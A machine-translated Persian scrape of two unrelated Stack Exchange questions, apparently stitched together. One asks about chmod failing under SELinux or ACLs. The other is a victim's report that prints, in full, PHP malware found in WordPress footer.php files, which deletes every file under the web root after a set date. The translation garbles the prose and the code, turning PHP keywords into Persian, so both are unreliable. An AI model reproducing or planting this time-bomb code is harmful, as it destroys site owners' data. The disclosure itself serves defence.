این سایت از کوکی ها برای ارائه خدمات ما و نمایش آگهی های مرتبط و لیست های شغلی استفاده می کند.
با استفاده از سایت ما، شما تأیید میکنید که ما خط مشی کوکیها، خط مشی رازداری و شرایط خدمات ما را خوانده و درک کردهاید.
استفاده شما از محصولات و خدمات سرریز پشته، از جمله شبکه سرریز پشته، تحت این شرایط و ضوابط است.
کنترل دسترسی – فایل های chmodding با محیط امنیتی SELinux / ACL
خوب، بنابراین من یک دسته از bash
و پایتون
اسکریپت که من نوشته شده است، همه فقط در یک پوشه بزرگ chilling کردن. خوب، در واقع زیر شاخه های جداگانه ای وجود دارد، اما همه آنها در این پوشه اصلی توزیع شده اند.
بنابراین برای بحث، ساختار پوشه به نظر می رسد چیزی شبیه به این:
پیدا کنید. -type d
.
./scripts/sh
./scripts/sh/a
./scripts/sh/b
./scripts/sh/c
./scripts/py
./scripts/py/x
./scripts/py/y
./scripts/py/z
هرگز، من سعی کردم کل مجموعه اسکریپت های اجرایی را تمام کنم، همه در یک با افت پیدا کردم
و chmod
:
پیدا کردم. -type f -exec chmod + x {} +
معمولا، این همه چیزی است که من باید انجام دهم، اما متوجه شدم که + x
کمی هنوز ناپدید شده است. تمام مجوزهای آنها همچنان به نظر می رسد:
ls -l ./scripts/py/z
-rw-rw----. 1 ریشه 1015 801 7 مه 12:00 script_name.py
ظاهرا. .
شخصیت (پس از پرچم مجوز)، نوعی از زمینه امنیتی SELinux، با یک لیست کنترل دسترسی یا مشابه آن را نشان می دهد. من با getfacl
را بررسی کردم، واقعا نمی دانستم چی به چی بپوشم اول یک دایرکتوری است، دوم یکی از فایل های اسکریپت است:
getfacl -acp ./scripts/py/z &&
getfacl -acp ./scripts/py/z/*
user::rwx
گروه :: rwx
دیگر :: - x
کاربر :: rw-
گروه :: rw-
دیگر :: ---
من با گزینه های زیر setfacl
زیر را امتحان کردم، فایده ای نداشت:
setfacl --help | grep 'remove'
-x، --remove = acl حذف نوشته ها از ACL (ها) فایل (ها)
-X، --remove-file = فایل خواندن ACL برای حذف از فایل
-b، --remove-all حذف تمام ورودی های ACL پیشرفته
-k، --remove-default حذف ACL پیش فرض
بنابراین، در وضعیتی که root
مجوز کاربر احترام گذاشته شده است، و sudo
استفاده نیست بپرسید؛ چگونه می توانم کنترل دسترسی فایل های شخصی خود را به دست آورم؟
virus – کد PHP مخرب حذف همه فایل ها در FTP
چند ماه پیش برخی از وبسایتهای من هک شده بودند. FTP ها ظاهرا خالی بودند، هنگام بارگیری سایت ها، خطای 403 را دریافت کردم. اگر سعی کردم پشتیبان گیری FTP ها را بارگیری کنم و فایل سیستم را بررسی کنم، همه فایل ها وجود داشت. با این حال، زمانی که سعی کردم سایت را باز کنم، 403 دریافت کردم و FTP دوباره خالی بود.
من تمام فایل ها را اسکن کرده ام و یک فایل مخرب در فایل های خود پیدا کردم. کد همیشه در فایل footer.php در پوشه تم وردپرس من و همچنین در footer.php در CMS سفارشی من واقع شده است.
کد اساسا فایل سیستم را اسکن می کند، ریشه را پیدا می کند و سپس در زمان مشخص شده خود را اجرا می کند و تمامی فایل ها را حذف می کند. اگر نسخه پشتیبان تهیه کنید، اگر فردی وب سایت را باز کند، دوباره آن را حذف می کند. این چیزی است که کد به نظر می رسد:
<؟
$ today = تاریخ ("Y-m-d H: i: s")؛
$ date = "2018-05-01 00:00:00"؛
function listFolderFiles ($ dir) {
$ ffs = scandir ($ dir)؛
unset ($ ffs [array_search('.', $ffs, true)])؛
Unset ($ ffs [array_search('..', $ffs, true)])؛
// جلوگیری از عناصر دستورالعمل خالی
اگر (count ($ ffs) <1)
برگشت؛
foreach ($ ffs به عنوان $ ff) {
اگر (! is_dir ($ dir. '/'. $ ff)) unlink ($ dir. '/'. $ ff)؛
اگر (is_dir ($ dir. '/'. $ ff)) listFolderFiles ($ dir. '/'. $ ff)؛
}
}
تابع rmDirs ($ dir) {
$ emptyDir = false؛
$ ffs = scandir ($ dir)؛
unset ($ ffs [array_search('.', $ffs, true)])؛
Unset ($ ffs [array_search('..', $ffs, true)])؛
// جلوگیری از عناصر دستورالعمل خالی
اگر (count ($ ffs) < 1)
return true;
foreach($ffs as $ff) {
if(is_dir($dir.'/'.$ff)) $emptyDir = rmDirs($dir.'/'.$ff);
if($emptyDir) {
if(is_dir($dir.'/'.$ff)) rmdir($dir.'/'.$ff);
rmDirs($dir);
}
}
return false;
}
if ($today > $ date) {
listFolderFiles (dirname ($ _ سرور ['DOCUMENT_ROOT']))؛
rmDirs (dirname ($ _ سرور ['DOCUMENT_ROOT']))؛
}
؟>
دقیقا همین اتفاق برای من افتاد. اولین بار این تاریخ در نیمه شب به 1 فوریه تنظیم شد و اکنون در نیمه شب به 1 ماه مه تنظیم شده است. کد همیشه در فایل حداقل دو هفته قبل از تاریخ مشخص شده قرار می گیرد. میزبانی وب که من استفاده می کنم، هر روز 14 روز پشتیبان گیری FTP های خود را به صورت خودکار انجام می دهم، بنابراین حدس می زنم این نقطه قرار دادن کد در زمان پیش است.
چیزی که من در مورد هر موضوعی پیدا نکردم این کد خاص، هر تکه ای از آن را آنلاین، بنابراین من حدس می زنم ممکن است به صورت سفارشی نوشته شده است – من در یک سازمان دیجیتال کار می کند، بنابراین احتمالا توسط رقبای کسب و کار ما.
من آن را ثابت کرده ام، ما بهترین ها را برای حفظ این اتفاق می افتد دوباره، اما من می خواهم دیگران در مورد این کد بدانند و برای پیدا کردن آن. همچنین، اگر برخی از منابع شناخته شده این، من می خواهم بدانم. با تشکر!